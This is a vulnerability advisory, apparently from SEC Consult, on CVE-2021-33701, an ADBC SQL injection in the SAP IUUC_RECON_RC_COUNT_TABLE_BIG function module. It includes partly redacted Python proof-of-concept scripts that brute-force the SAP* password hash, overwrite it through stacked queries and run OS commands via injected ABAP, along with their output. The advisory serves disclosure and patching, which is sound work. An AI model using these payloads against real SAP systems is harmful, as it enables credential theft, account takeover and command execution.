Vendor description
"SAP SE is a German multinational software corporation based in Walldorf, Baden-Württemberg, that develops enterprise software to manage business operations and customer relations. The company is especially known for its ERP software. SAP is the largest non-American software company by revenue, the world's third-largest publicly-traded software company by revenue, and the largest German company by market capitalisation."
Source: en.wikipedia.org/wiki/SAP
Business recommendation
SAP® released the patch (SNote 3078312) and SEC Consult advises all SAP® customers to update their systems immediately.
An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues.
Vulnerability overview/description:
1. Remote ADBC SQL Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)
The IT_WHERE_CLAUSE parameter of the function module IUUC_RECON_RC_COUNT_TABLE_BIG is vulnerable to an ADBC SQL Injection. The function is part of the package CNV_INC_PROCESSING_REMOTE inside the function module group IUUC_REMOTE. It is typically used to count table records in the context of logging table and trigger creations.
ADBC is an API for the Native SQL interface of the AS ABAP that is based on ABAP Objects and can be used to pass Native SQL statements to the database interface. ADBC SQL injections are a very serious type of vulnerability as they allow attackers not only to access data directly at the database layer but also to break out of the current client context. Moreover, stacked queries can be used to perform arbitrary read/write commands. All of this leads to full compromise of the SAP application server.
As the affected function module is remote enabled, it allows attackers to perform remote attacks via RFC.
Note that the vulnerability was originally found by SEC Consult during a research on a system with DMIS in version DMIS 2011_1_731 SP 0013. In this version, the same parameter IT_WHERE_CLAUSE was vulnerable to an ABAP Command Injection.
The vulnerability seems to have been fixed insufficiently, leaving behind this ADBC SQL Injection. The advisory can be viewed at the following URL:
sec-consult.com/vulnerability-lab/advisory/remote-abap-code-injection-in-sap-netweaver/
Attack Prerequisites
1. Remote ADBC SQL Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)
First prerequisite is the authorization object S_DMIS (SAP SLO Data migration server) with at least the following settings:
MBT_PR_ARE: SAP Landscape Transformation
MBT_PR_LEV: (not needed to be set)
ACTVT: 03 DisplayNote that it is common practice that authorization objects are (mis)configured with wildcards, which increases the likelihood of exploitation of the vulnerability.
Further, authorization to perform function calls (S_RFC) has to be granted for remote exploitation or access to SE37 for local privilege escalation.
In the majority of cases internal RFC communications are nowadays still found to be unencrypted. This increases the risk that attackers wiretap account passwords. Once such user is hijacked, the attacker has gained all necessary prerequisites for further attacks as described in this advisory.
Proof of concept
1. Remote ADBC SQL Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)
Example A: Arbitrary Read
As a proof of concept, a script was created to brute force the password hash of the SAP* users in client 000 while authenticated to client 001. This also demonstrates the possibility of breaking out of the current client context. For this example, a boolean based Blind SQL attack was used. In order to get the exploitation to work, an arbitrary existing table has to be specified for the parameter I_TABNAME (in this PoC ZDEMO_SOH was chosen).
The following excerpt shows the source code of the script:
#!/usr/bin/env python3
from pyrfc import Connection
from string import ascii_letters
def generate_alphabet():
alph = []
for c in ascii_letters:
alph.append(c)
for i in range(0,10):
alph.append(str(i))
alph.append('+')
alph.append('/')
alph.append('=')
return alph
if __name__ == '__main__':
final_str = ""
conn = Connection(ashost="XX.XX.XX.XX", sysnr="00", client= "001",
user= "Peter", passwd="Sap123456", lang='EN')
alph = generate_alphabet()
print("Brute Forcing SAP* password hash in client 000 ...")
for i in range(16, 61):
toggle = 0
for c in alph:
where_clause = ("('" + c +
"' IN (SELECT SUBSTRING(PWDSALTEDHASH," + str(i) +
",1) from USR02 WHERE BNAME='SAP*' AND MANDT='000'))")
[ --- PoC partially removed --- ]
if(result['ET_COUNT'][0]['RECCNT'] != 0):
final_str += c
print("{x-issha, 1024}" + final_str,end='\r')
print ("\n")Running the code produces the following output:
$> poc_iuuc_remote.py
Brute Forcing SAP* password hash in client 000...
{x-issha, 1024}DRM3SNvfwWWsDf71QYyx+5L0AkN3l0nyKgPjvlBsPqE=
Example B: Arbitrary Write
The next proof of concept demonstrates arbitrary write to the database by using stacked queries. The following payload inserts the password hash corresponding to the plaintext password "Test123" into the SAP* users of all clients and then authenticates with the user SAP* on the other client 000. Afterwards, the OS command "ip addr" is executed:
#!/usr/bin/env python3
from pyrfc import Connection
def read_ABAP_Report():
with open('X:\\test.abap') as file:
content = file.readlines()
content = [x.strip() for x in content]
return content
if __name__ == '__main__':
final_str = ""
conn = Connection(ashost="XX.XX.XX.XX", sysnr="00", client= "001",
user= "Peter", passwd="Sap123456", lang='EN')
where_clause = (
"1 = 1 ); UPDATE USR02 SET PWDSALTEDHASH = "
"'{x-issha, 1024}voJRVT/rrJ31pxfmhb/zaBqhXA81CYKSnylMlKr/CkE=' "
"WHERE BNAME = 'SAP*'; COMMIT WORK; --")
[ --- PoC partially removed --- ]
conn2 = Connection(ashost="XX.XX.XX.XX", sysnr="00", client= "000",
user= "SAP*", passwd="Test123", lang='EN')
inject = ['REPORT Z_TEST213.'
'DATA(c) = \'ip addr\'.',
'DATA t TYPE TABLE OF char255.',
'DATA l(250) TYPE c.',
'CALL \'SYSTEM\' ID \'COMMAND\' FIELD c ID \'TAB\' FIELD t.',
'LOOP AT t INTO l.',
'WRITE: / l.',
'ENDLOOP.']
params = {'PROGRAM':inject}
result = conn2.call('/SAPDS/RFC_ABAP_INSTALL_RUN', **params)
for x in result['WRITES']:
print(x['ZEILE'])Running the code produces the following output:
$> .\poc_iuuc_remote2.py
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default ql
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp0s3: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state
DOWN
link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff
3: enp0s8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state U
P grou
link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff
inet XX.XX.XX.XX/24 brd XX.XX.XX.255 scope global noprefixroute enp0s8
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fec3:fa40/64 scope link
valid_lft forever preferred_lft foreverVulnerable / tested versions
This vulnerability has been tested on SAP Netweaver 752 SP-LEVEL 0004 DMIS Release 2011_1_731 SP-Level 0016 SP SAPK-11616INDMIS.
According to the vendor, the following products / versions are affected:
- SAPSCORE 125 < SAPK-12502INSAPSCORE
- S4CORE 105 < SAPK-10503INS4CORE
- S4CORE 104 < SAPK-10405INS4CORE
- S4CORE 103 < SAPK-10307INS4CORE
- S4CORE 102 < SAPK-10209INS4CORE
- S4CORE 101 < SAPK-10111INS4CORE
- S4CORE 100
- DMIS 2018_1_752 < SAPK-20106INDMIS
- DMIS 2020 < SAPK-20202INDMIS
- DMIS 2011_1_700 < SAPK-11321INDMIS
- DMIS 2011_1_710 < SAPK-11421INDMIS
- DMIS 2011_1_730 < SAPK-11521INDMIS
- DMIS 2011_1_731 < SAPK-11621INDMIS
- DMIS 2011_1_620 < SAPK-11121INDMIS
- DMIS 2011_1_640 < SAPK-11221INDMIS